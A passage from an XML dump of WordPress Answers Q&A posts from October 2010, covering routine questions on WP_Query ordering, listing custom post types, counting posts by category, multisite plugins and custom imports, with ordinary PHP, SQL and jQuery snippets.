wp_2_posts  WHERE 1=1  AND wp_2_posts.post_parent = 616  AND wp_2_posts.post_type = 'page' AND (wp_2_posts.post_status = 'publish')  ORDER BY wp_2_posts.post_date ASC LIMIT 0, 50&#xA;&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;which if you look you'll see the ORDER BY statement is sorting by the post date, not the post title.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What am I doing wrong here?&lt;/p&gt;&#xA;" OwnerUserId="834" LastActivityDate="2010-10-25T17:07:05.380" Title="Problem with WP_Query sort" Tags="&lt;wp-query&gt;&lt;the-loop&gt;" AnswerCount="1" />
  <row Id="3269" PostTypeId="2" ParentId="3265" CreationDate="2010-10-25T16:35:12.740" Score="0" ViewCount="" Body="&lt;p&gt;I think it is better to block feed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for SEO feed makes very little impact on indexing of site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for usability - you don't really want feed to show in search results. It is format neither meant or optimized to be viewed directly.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-25T16:35:12.740" />
  <row Id="3270" PostTypeId="2" ParentId="3247" CreationDate="2010-10-25T16:35:29.997" Score="5" ViewCount="" Body="&lt;p&gt;The &lt;code&gt;wp_list_pages()&lt;/code&gt; function calls &lt;code&gt;get_pages()&lt;/code&gt;, which can't be easily overridden with a different post type. Here's a basic modification of that function which calls &lt;code&gt;get_posts()&lt;/code&gt; instead. This takes basically the same arguments as &lt;strong&gt;wp_list_pages&lt;/strong&gt;, with one additional: *post_type* (set as the name of your post type).&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function wp_list_post_types( $args ) {&#xA;    $defaults = array(&#xA;        'numberposts'  =&amp;gt; -1,&#xA;        'offset'       =&amp;gt; 0,&#xA;        'orderby'      =&amp;gt; 'menu_order, post_title',&#xA;        'post_type'    =&amp;gt; 'page',&#xA;        'depth'        =&amp;gt; 0,&#xA;        'show_date'    =&amp;gt; '',&#xA;        'date_format'  =&amp;gt; get_option('date_format'),&#xA;        'child_of'     =&amp;gt; 0,&#xA;        'exclude'      =&amp;gt; '',&#xA;            'include'      =&amp;gt; '',&#xA;        'title_li'     =&amp;gt; __('Pages'),&#xA;        'echo'         =&amp;gt; 1,&#xA;        'link_before'  =&amp;gt; '',&#xA;        'link_after'   =&amp;gt; '',&#xA;        'exclude_tree' =&amp;gt; '' );&#xA;&#xA;    $r = wp_parse_args( $args, $defaults );&#xA;    extract( $r, EXTR_SKIP );&#xA;&#xA;    $output = '';&#xA;    $current_page = 0;&#xA;&#xA;    // sanitize, mostly to keep spaces out&#xA;    $r['exclude'] = preg_replace('/[^0-9,]/', '', $r['exclude']);&#xA;&#xA;    // Allow plugins to filter an array of excluded pages (but don't put a nullstring into the array)&#xA;    $exclude_array = ( $r['exclude'] ) ? explode(',', $r['exclude']) : array();&#xA;    $r['exclude'] = implode( ',', apply_filters('wp_list_post_types_excludes', $exclude_array) );&#xA;&#xA;    // Query pages.&#xA;    $r['hierarchical'] = 0;&#xA;    $pages = get_posts($r);&#xA;&#xA;    if ( !empty($pages) ) {&#xA;        if ( $r['title_li'] )&#xA;            $output .= '&amp;lt;li class=&quot;pagenav&quot;&amp;gt;' . $r['title_li'] . '&amp;lt;ul&amp;gt;';&#xA;&#xA;        global $wp_query;&#xA;        if ( ($r['post_type'] == get_query_var('post_type')) || is_attachment() )&#xA;            $current_page = $wp_query-&amp;gt;get_queried_object_id();&#xA;        $output .= walk_page_tree($pages, $r['depth'], $current_page, $r);&#xA;&#xA;        if ( $r['title_li'] )&#xA;            $output .= '&amp;lt;/ul&amp;gt;&amp;lt;/li&amp;gt;';&#xA;    }&#xA;&#xA;    $output = apply_filters('wp_list_pages', $output, $r);&#xA;&#xA;    if ( $r['echo'] )&#xA;        echo $output;&#xA;    else&#xA;        return $output;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note: its mostly copy-pasted from source. There's certainly a few arguments left in there that aren't doing anything and there might well be some use cases I haven't thought of that would break it. It works, surprisingly, though, with both hierarchical and non-hierarchical post types, though...&lt;/p&gt;&#xA;" OwnerUserId="290" LastEditorUserId="290" LastEditorDisplayName="" LastEditDate="2010-10-26T16:30:08.307" LastActivityDate="2010-10-26T16:30:08.307" CommentCount="2" />
  <row Id="3271" PostTypeId="1" CreationDate="2010-10-25T16:41:28.073" Score="2" ViewCount="307" Body="&lt;p&gt;I am using &lt;a href=&quot;http://www.qianqin.de/qtranslate/&quot; rel=&quot;nofollow&quot;&gt;qtranslate (Wordpress Plugin)&lt;/a&gt; on a website and I don't want to display categories that don't contain posts for a language. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;So when I do &lt;code&gt;get_categories()&lt;/code&gt; (without qtranslate) the categories that have no posts are hidden. But when they have posts in one language and not the other they are displayed in both languages.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know this is a plugin related. Any ideas/solutions much appreciated.&lt;/p&gt;&#xA;" OwnerUserId="621" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-04T12:29:07.513" LastActivityDate="2011-02-04T12:29:07.513" Title="Qtranslate displays empty categories with get_categories()" Tags="&lt;plugins&gt;&lt;categories&gt;&lt;multi-language&gt;&lt;plugin-qtranslate&gt;" CommentCount="2" />
  <row Id="3272" PostTypeId="2" ParentId="3267" CreationDate="2010-10-25T17:07:05.380" Score="0" ViewCount="" Body="&lt;p&gt;Your sorting parameter should be: 'orderby' =&gt; 'title'&lt;/p&gt;&#xA;" OwnerUserId="490" LastActivityDate="2010-10-25T17:07:05.380" />
  <row Id="3273" PostTypeId="2" ParentId="3262" CreationDate="2010-10-25T17:33:47.993" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Rich&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Welcome to WordPress Answers.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;'post_category'&lt;/code&gt; field is not used anymore and has been replaced by a collection of &lt;em&gt;&quot;taxonomy&quot;&lt;/em&gt; tables. If you were using direct SQL it would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$sql = &amp;lt;&amp;lt;&amp;lt;SQL&#xA;SELECT &#xA;  COUNT(*) &#xA;FROM &#xA;  {$wpdb-&amp;gt;posts} &#xA;  INNER JOIN {$wpdb-&amp;gt;term_relationships} ON {$wpdb-&amp;gt;term_relationships}.object_id={$wpdb-&amp;gt;posts}.ID&#xA;  INNER JOIN {$wpdb-&amp;gt;term_taxonomy} ON {$wpdb-&amp;gt;term_taxonomy}.term_taxonomy_id={$wpdb-&amp;gt;term_relationships}.term_taxonomy_id&#xA;WHERE 1=1&#xA;  AND {$wpdb-&amp;gt;posts}.post_status = 'publish' &#xA;  AND {$wpdb-&amp;gt;posts}.post_type = 'post' &#xA;  AND {$wpdb-&amp;gt;posts}.post_name NOT LIKE '%revision%' &#xA;  AND {$wpdb-&amp;gt;posts}.post_name NOT LIKE '%autosave%' &#xA;  AND {$wpdb-&amp;gt;term_taxonomy}.term_id NOT IN ($folio_cat_ids)&#xA;SQL;&#xA;$numposts = $wpdb-&amp;gt;get_var($sql);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;However, it's a good idea to use the WordPress API rather than direct SQL if you can avoid having to write lots of SQL when using the WordPress API, which in this case is very possible. I've written a small class for you called &lt;code&gt;CountPostsCategoriesNotIn&lt;/code&gt; which encapsulates the &lt;code&gt;'posts_fields'&lt;/code&gt; hook you need to use. Calling this class is as simple as this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$folio_cat_ids = '1,2,3';&#xA;$numposts = CountPostsCategoriesNotIn::count($folio_cat_ids);&#xA;echo &quot;$numposts\n&quot;;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And here is that class which you can copy into your theme's &lt;code&gt;functions.php&lt;/code&gt; file or use in the &lt;code&gt;.php&lt;/code&gt; file of a plugin you might be writing:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class CountPostsCategoriesNotIn {&#xA;  static function count($categories) {&#xA;    $posts_fields = array(__CLASS__,'posts_fields');&#xA;    add_action('posts_fields',$posts_fields);&#xA;    $query = new WP_Query(array(&#xA;      'posts_per_page' =&amp;gt; '-1',&#xA;      'category__not_in' =&amp;gt; $categories,&#xA;    ));&#xA;    remove_action('posts_fields',$posts_fields);&#xA;    return $query-&amp;gt;post-&amp;gt;post_count;&#xA;  }&#xA;  static function posts_fields($field_list) {&#xA;    $field_list = 'COUNT(*) as post_count';&#xA;    return $field_list;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastActivityDate="2010-10-25T17:33:47.993" CommentCount="2" />
  <row Id="3274" PostTypeId="2" ParentId="3237" CreationDate="2010-10-25T17:53:21.633" Score="0" ViewCount="" Body="&lt;p&gt;hmmm...&lt;/p&gt;&#xA;&#xA;&lt;p&gt;1 - You could use a custom field &lt;/p&gt;&#xA;&#xA;&lt;p&gt;2 - When the user is uploading content, you ask them to enter their name, create a folder for them on your server, once the name is taken - users will be prompted again - you can show the user work based on the folder structure and such for the whole gallery&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I don't think you will find a plugin that will do this for you - you will have to do customized coding - can you state what are the reasons stopping you from using Authors/editors option - if it is because users are too lazy to sign up, maybe you can use some open id model instead.&lt;/p&gt;&#xA;" OwnerUserId="692" LastActivityDate="2010-10-25T17:53:21.633" CommentCount="1" />
  <row Id="3275" PostTypeId="2" ParentId="489" CreationDate="2010-10-25T18:09:29.223" Score="0" ViewCount="" Body="&lt;p&gt;I had a similar issue.  Sure seems strange to me that if I want to move an image from one post to another, I have to totally delete it from the first then re-upload it for the second.  But at least this does explain the strange thmbnails I'm getting on some of my posts.&lt;/p&gt;&#xA;" LastActivityDate="2010-10-25T18:09:29.223" />
  <row Id="3276" PostTypeId="1" CreationDate="2010-10-25T19:39:42.257" Score="1" ViewCount="46" Body="&lt;p&gt;I am just getting back into WP after a long absence and have installed the latest 3x version on my site.  Just playing around with the widgets, but I am not sure how am I suppose to be able to use the Ad widget?  There don't seem to be any options for it.  I tried looking through the docs but couldn't find anything there either.  Please let me know if there are any tutorials for this or any docs that I can reference.  Thanks!&lt;/p&gt;&#xA;" OwnerUserId="1385" LastActivityDate="2010-10-25T19:39:42.257" ClosedDate="2010-11-05T13:10:02.003" Title="Silly question: How to use the bundled Ad widget?" Tags="&lt;widgets&gt;" CommentCount="2" />
  <row Id="3277" PostTypeId="2" ParentId="3076" CreationDate="2010-10-25T20:55:01.717" Score="2" ViewCount="" Body="&lt;p&gt;I like the way that Elegant Themes did their Resume Theme, but I have a few mods I'd like to see done to it.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Project details (with gallery etc) in a lightbox&lt;/li&gt;&#xA;&lt;li&gt;Contact form&lt;/li&gt;&#xA;&lt;li&gt;Post feed&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="474" LastActivityDate="2010-10-25T20:55:01.717" CommunityOwnedDate="2010-10-25T20:55:01.717" />
  <row Id="3278" PostTypeId="1" AcceptedAnswerId="3288" CreationDate="2010-10-25T22:59:01.297" Score="0" ViewCount="390" Body="&lt;p&gt;I'm looking to do a custom import from a custom cms to wordpress.  Looking at the export/import files in wordpress, I can get match most of the structure.  Though, it is missing the relationships for custom taxonomies and posts when exporting/importing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a fix for this or would it be easier to not use wordpress's import script?  Rather, write custom SQL to handle it all.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, as I am developing this new site the content in the old site (custom cms) is still being updated.  There will be a freeze a few days before launch, where I can do another db dump and reimport.  Though, the issue I'm foreseeing is that I will need to delete all posts and relationships and reimport the content.  Is there an easy way to delete all posts and relationships to prevent any duplicates and reimport the content?&lt;/p&gt;&#xA;" LastActivityDate="2010-10-26T02:49:36.987" Title="Custom Import with taxonomies" Tags="&lt;3.0&gt;&lt;custom-taxonomy&gt;&lt;import&gt;&lt;bulk-import&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="3279" PostTypeId="1" AcceptedAnswerId="3285" CreationDate="2010-10-25T23:58:28.550" Score="0" ViewCount="134" Body="&lt;p&gt;I am almost completely happy with a new site I built - see &lt;a href=&quot;http://www.fatasbutter.com.au/gallery/the-music/attachment/019/&quot; rel=&quot;nofollow&quot;&gt;http://www.fatasbutter.com.au/gallery/the-music/attachment/019/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As a final touch, I want to add &lt;code&gt;#content&lt;/code&gt; to the end of the link location for each &lt;code&gt;previous_image_link()&lt;/code&gt; and &lt;code&gt;next_image_link()&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas on how to do this? &lt;/p&gt;&#xA;" OwnerUserId="1309" LastEditorUserId="1309" LastEditorDisplayName="" LastEditDate="2010-10-26T00:25:47.797" LastActivityDate="2010-10-26T01:42:02.553" Title="Add #content to next_image_link()" Tags="&lt;gallery&gt;&lt;navigation&gt;" AnswerCount="2" />
  <row Id="3280" PostTypeId="2" ParentId="3238" CreationDate="2010-10-26T00:15:38.360" Score="1" ViewCount="" Body="&lt;p&gt;If the plugin is alreayd activated, then you cannot network activate it. because you already turned it on. Turn it off. Network activate it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You still have to configure it for each blog.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-10-26T00:15:38.360" CommentCount="2" />
  <row Id="3281" PostTypeId="2" ParentId="3071" CreationDate="2010-10-26T00:24:03.527" Score="1" ViewCount="" Body="&lt;p&gt;You really need to specify how it does not work. There are no multisite-specific theme tags. 99% of the themes out there for WordPress work in a network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you're getting errors, check your error logs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not grabbing image th8umbnails, that's a known issue - not with multisite or the timthumb script, but how the theme itself calls the images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://www.binarymoon.co.uk/2009/10/timthumb-wordpress-mu/&quot; rel=&quot;nofollow&quot;&gt;http://www.binarymoon.co.uk/2009/10/timthumb-wordpress-mu/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit: actually, I have tested the Irresistible theme in mu. Worked for me. A quick checked reveals it's looking for images in a subfolder that is not there.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-10-26T00:24:03.527" CommentCount="4" />
  <row Id="3282" PostTypeId="2" ParentId="3208" CreationDate="2010-10-26T00:27:31.330" Score="1" ViewCount="" Body="&lt;p&gt;They only way I know of to do this is a paid plugin.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-10-26T00:27:31.330" CommentCount="3" />
  <row Id="3283" PostTypeId="2" ParentId="2534" CreationDate="2010-10-26T00:31:15.247" Score="0" ViewCount="" Body="&lt;p&gt;You definitely need a multisite network plugins. There's three to choose from currently: two paid, one free.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From there, you can use something like the sitewide tags plugin to pull post to the main blog in each network.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Neither of these could be (or should be) done from a theme's functions file.&lt;/p&gt;&#xA;" OwnerUserId="1391" LastActivityDate="2010-10-26T00:31:15.247" CommentCount="3" />
  <row Id="3284" PostTypeId="2" ParentId="3279" CreationDate="2010-10-26T01:16:18.220" Score="1" ViewCount="" Body="&lt;p&gt;For now I have included simple jQuery to tack &lt;code&gt;#content&lt;/code&gt; on the end of the links:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$('#nav-below a,.attachment a').attr('href', function() {&#xA;  return this.href + '#content'&#xA;});&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Obviously javascript is not a 100% solution, but it's certainly the simplest (only?) option at this point.&lt;/p&gt;&#xA;" OwnerUserId="1309" LastActivityDate="2010-10-26T01:16:18.220" />
  <row Id="3285" PostTypeId="2" ParentId="3279" CreationDate="2010-10-26T01:42:02.553" Score="1" ViewCount="" Body="&lt;p&gt;This is kinda dirty, but I can't find a better hook:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function add_content_hash( $link ) { &#xA;    $link = str_replace(&quot;' title='&quot;, &quot;#content' title='&quot;, $link);&#xA;    return $link;&#xA;}&#xA;add_filter( 'wp_get_attachment_link', 'add_content_hash' );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-10-26T01:42:02.553" CommentCount="1" />
  <row Id="3287" PostTypeId="2" ParentId="3208" CreationDate="2010-10-26T02:45:26.673" Score="1" ViewCount="" Body="&lt;p&gt;I've had to write some custom stuff to copy settings across blogs. Currently I've got a plugin with two textareas:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;A read-only box with a &lt;a href=&quot;http://us3.php.net/base64-encode&quot; rel=&quot;nofollow&quot;&gt;base64 encoded&lt;/a&gt; &lt;a href=&quot;http://us3.php.net/serialize&quot; rel=&quot;nofollow&quot;&gt;serialized&lt;/a&gt; string of all the blog options (&lt;code&gt;wp_options&lt;/code&gt;) I care about (in this case, widgets, sidebars, and options from &lt;a href=&quot;http://code.google.com/p/9spot/&quot; rel=&quot;nofollow&quot;&gt;a specific plugin&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;li&gt;A field that can accept the same encoded string copied from another blog&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;So, I don't know of a good way besides dumping the data via WordPress's &lt;code&gt;get_option()&lt;/code&gt; or SQL queries, and loading the data back in on another database.&lt;/p&gt;&#xA;" OwnerUserId="66" LastActivityDate="2010-10-26T02:45:26.673" CommentCount="1" />
  <row Id="3288" PostTypeId="2" ParentId="3278" CreationDate="2010-10-26T02:49:36.987" Score="0" ViewCount="" Body="&lt;p&gt;It shouldn't be hard to add handling for custom post types or taxonomies within a custom importer for WordPress.  You'll just need to make sure that your custom post types and taxonomies are registered before the importer runs.  Once registered, you can use wp_insert_post() and wp_set_object_terms() on these custom types.  This will likely end up being a much better solution than trying to write custom SQL as it fills in a lot of the extra fields that aren't always obvious, like term object counts, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whenever I'm working on a script to import data from another system, I've always created nuke functions, for the reason you mentioned, and just because importing data is always a bunch of trial and error.  The function usually just consists of a single loop to call wp_delete_post() for each post.  Depending on the import, I may also add another one to call wp_delete_term() on each term in the database. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$post_ids = $wpdb-&amp;gt;get_col(&quot;SELECT ID FROM $wpdb-&amp;gt;posts WHERE post_type in ('post', 'attachment', [...other post types])&quot;);&#xA;foreach($post_ids as $post_id) {&#xA;    wp_delete_post($post_id, true);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="203" LastActivityDate="2010-10-26T02:49:36.987" CommentCount="1" />
  <row Id="3289" PostTypeId="1" AcceptedAnswerId="3301" CreationDate="2010-10-26T03:47:17.503" Score="3" ViewCount="287" Body="&lt;p&gt;I was opened this idea 7 months ago:&lt;br /&gt;&#xA;&lt;a href=&quot;http://wordpress.org/extend/ideas/topic/non-latin-characters-need-love&quot; rel=&quot;nofollow&quot;&gt;http://wordpress.org/extend/ideas/topic/non-latin-characters-need-love&lt;/a&gt; &lt;br /&gt;&#xA;Still i couldnt find a solution for it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;Simply what i want?&lt;/strong&gt;&lt;br /&gt;&#xA;Want to use &quot;şŞ İı Ğğ Üü Öö çÇ&quot; turkish characters in permalinks / slugs.&lt;/p&gt;&#xA;" OwnerUserId="1372" LastEditorUserId="73" LastEditorDisplayName="" LastEditDate="2011-06-07T14:46:38.623" LastActivityDate="2011-06-07T14:46:38.623" Title="Non-Latin Characters in permalinks" Tags="&lt;permalinks&gt;&lt;encoding&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="1" />
  <row Id="3290" PostTypeId="2" ParentId="3159" CreationDate="2010-10-26T04:56:01.447" Score="1" ViewCount="" Body="&lt;p&gt;I've used &lt;a href=&quot;http://www.instinct.co.nz/e-commerce/&quot; rel=&quot;nofollow&quot;&gt;WP e-Commerce&lt;/a&gt; to great success.  It's very expandable, the presentation layer is easy to customize.  It handles most basic features out of the box.  You may have to use a DIY option for csv import/export.&lt;/p&gt;&#xA;" OwnerUserId="839" LastActivityDate="2010-10-26T04:56:01.447" />
  <row Id="3291" PostTypeId="1" CreationDate="2010-10-26T05:22:18.897" Score="1" ViewCount="389" Body="&lt;p&gt;&lt;em&gt;(&lt;strong&gt;Moderators note:&lt;/strong&gt; The original title was: &quot;Need help identifying and looping through categories where posts have custom field set&quot;)&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I need to loop through my categories however I need to limit the categories&#xA;to those categories that include posts where the custom field of &lt;code&gt;price != 0&lt;/code&gt;&#xA;or &lt;code&gt;null&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What is the best way to handle this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Currently I've got this...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;div id=&quot;page-categories&quot; style=&quot;margin-top:-34px;&quot;&amp;gt;&#xA;&#xA;&amp;lt;!-- PRINT CATEGORY LISTINGS --&amp;gt;&#xA;&amp;lt;?php&#xA;&#xA;$categories=get_categories();&#xA;foreach($categories as $category) {&#xA;  $myColumnCount = 1;&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;h2 style=&quot;clear:both;&quot;&amp;gt;&amp;lt;a href=&quot;&amp;lt;?php bloginfo('url'); ?&amp;gt;/category/&amp;lt;?php&#xA;echo($category-&amp;gt;slug); ?&amp;gt;&quot;&amp;gt;&amp;lt;?php echo($category-&amp;gt;name); ?&amp;gt;&amp;lt;/a&amp;gt;&amp;lt;/h2&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;query_posts('cat='.$category-&amp;gt;cat_ID.&#xA;            '&amp;amp;posts_per_page=-1&amp;amp;orderby=title&amp;amp;order=ASC');&#xA;?&amp;gt;&#xA;&amp;lt;?php if (have_posts()) : while (have_posts()) : the_post(); ?&amp;gt;&#xA;&#xA;&amp;lt;!-- POST DISPLAYING CODE GOES HERE --&amp;gt;&#xA;&#xA;&amp;lt;div id=&quot;&quot; class=&quot;span-1 &amp;lt;?php if ($myColumnCount==6) { echo &quot;last&quot;; } ?&amp;gt; thumb20&quot; &amp;gt;&#xA;    &amp;lt;a class=&quot;thumb&quot; href=&quot;&amp;lt;?php the_permalink(); ?&amp;gt;&quot; rel=&quot;bookmark&quot; title=&quot;Link &#xA;to &amp;lt;?php the_title(); ?&amp;gt;&quot; &amp;gt;&amp;lt;?php echo the_post_thumbnail( 'thumbnail' ); ?&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&amp;lt;!-- YOUR POST DISPLAYING CODE GOES HERE --&amp;gt;&#xA;&#xA;&amp;lt;?php if ($myColumnCount == 6) {&#xA;    $myColumnCount=0;&#xA;} ?&amp;gt;&#xA;&#xA;&amp;lt;?php $myColumnCount = $myColumnCount+1; ?&amp;gt;&#xA;&#xA;&amp;lt;?php&#xA;endwhile;&#xA;endif;&#xA;echo '&amp;lt;hr class=&quot;gallery-grid&quot; /&amp;gt;';&#xA;?&amp;gt;&#xA;&amp;lt;?php } ?&amp;gt;&#xA;&#xA;&amp;lt;?php $wp_query = $temp_query; ?&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-10-26T06:17:10.783" LastActivityDate="2010-10-26T06:17:10.783" Title="List Posts by Category for a Non-Zero, Non-NULL Custom Field Value?" Tags="&lt;categories&gt;&lt;wp-query&gt;" AnswerCount="2" />
  <row Id="3292" PostTypeId="1" CreationDate="2010-10-26T05:30:00.620" Score="1" ViewCount="475" Body="&lt;p&gt;I have a client who has a Wordpress blog and he'd like to give a small number of clients their own user accounts in which, ideally, they'll be able to access a specific set of files. These files would only be visible to users to whom the files are assigned by the site administrator (for lack of a better word), not all users.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In other words, if Bob and Susan both had Wordpress accounts on this site, the site admin would be able to upload a file and assign it to Bob and that Susan would not be able to see. Bob and Susan wouldn't need to add files, just have access to files provided by the site admin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've Google'd around a bit for a plugin that will allow this, but I'm not finding anything. Does such a plugin exist?&lt;/p&gt;&#xA;" OwnerUserId="954" LastActivityDate="2011-03-10T19:46:26.803" Title="File Storage Plugin (For Individual Users)?" Tags="&lt;plugins&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="3293" PostTypeId="1" AcceptedAnswerId="3310" CreationDate="2010-10-26T05:41:35.503" Score="2" ViewCount="553" Body="&lt;p&gt;Typically in my theme function file I'll require other files to keep things neat.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;require_once(&quot;foo.php&quot;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now working in a child theme I'd like to do that same. I'm adding custom admin options and it seems impossible to include code. I've echoed out the path to make sure I'm calling the right file and it is calling the proper location but nothing inside that file seems to run. The code runs totally find if placed inside the child theme functions file.&lt;/p&gt;&#xA;" OwnerUserId="141" LastEditorUserId="141" LastEditorDisplayName="" LastEditDate="2010-10-26T14:15:55.300" LastActivityDate="2011-07-12T00:03:41.327" Title="Include files in child theme functions file" Tags="&lt;functions&gt;&lt;child-theme&gt;" AnswerCount="4" CommentCount="1" FavoriteCount="2" />
  <row Id="3294" PostTypeId="2" ParentId="3291" CreationDate="2010-10-26T05:49:00.510" Score="0" ViewCount="" Body="&lt;p&gt;Do not use &lt;code&gt;query_posts()&lt;/code&gt; for this. Always use &lt;code&gt;get_posts()&lt;/code&gt; or &lt;code&gt;WP_Query&lt;/code&gt; for secondary loops.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$categories = get_categories();&#xA;&#xA;foreach ( $categories as $category ) {&#xA;&#xA;    $posts = get_posts( array(&#xA;    'cat' =&amp;gt; $category-&amp;gt;cat_ID,&#xA;    'posts_per_page' =&amp;gt; '-1',&#xA;    'orderby' =&amp;gt; 'title',&#xA;    'order' =&amp;gt; 'ASC',&#xA;    'meta_key' =&amp;gt; 'price',&#xA;    'meta_compare' =&amp;gt; '&amp;gt;',&#xA;    'meta_value' =&amp;gt; '0'&#xA;    ) );&#xA;&#xA;&#xA;    if( !count( $posts ) )&#xA;         continue;&#xA;&#xA;    // else we have some posts in this category&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-26T05:49:00.510" />
  <row Id="3295" PostTypeId="2" ParentId="3293" CreationDate="2010-10-26T05:57:46.383" Score="0" ViewCount="" Body="&lt;p&gt;It is completely possible and normal to do includes in &lt;code&gt;functions.php&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do it like this in my child theme (&lt;code&gt;php&lt;/code&gt; is subdirectory for code):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;include 'php/core.php';&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you have issues without apparent reason try enabling debug mode in &lt;code&gt;wp-config.php&lt;/code&gt;:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;define('WP_DEBUG', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;There might be relevant errors happening, but not displayed.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-26T05:57:46.383" />
  <row Id="3296" PostTypeId="2" ParentId="3292" CreationDate="2010-10-26T06:02:47.583" Score="0" ViewCount="" Body="&lt;p&gt;I am not sure how easy this would be in vanilla  WP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;By description it seems similar to &lt;a href=&quot;http://wordpress.org/extend/plugins/buddypress-group-documents/&quot; rel=&quot;nofollow&quot;&gt;Group Documents&lt;/a&gt; plugin for BuddyPress.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2010-10-26T06:02:47.583" />
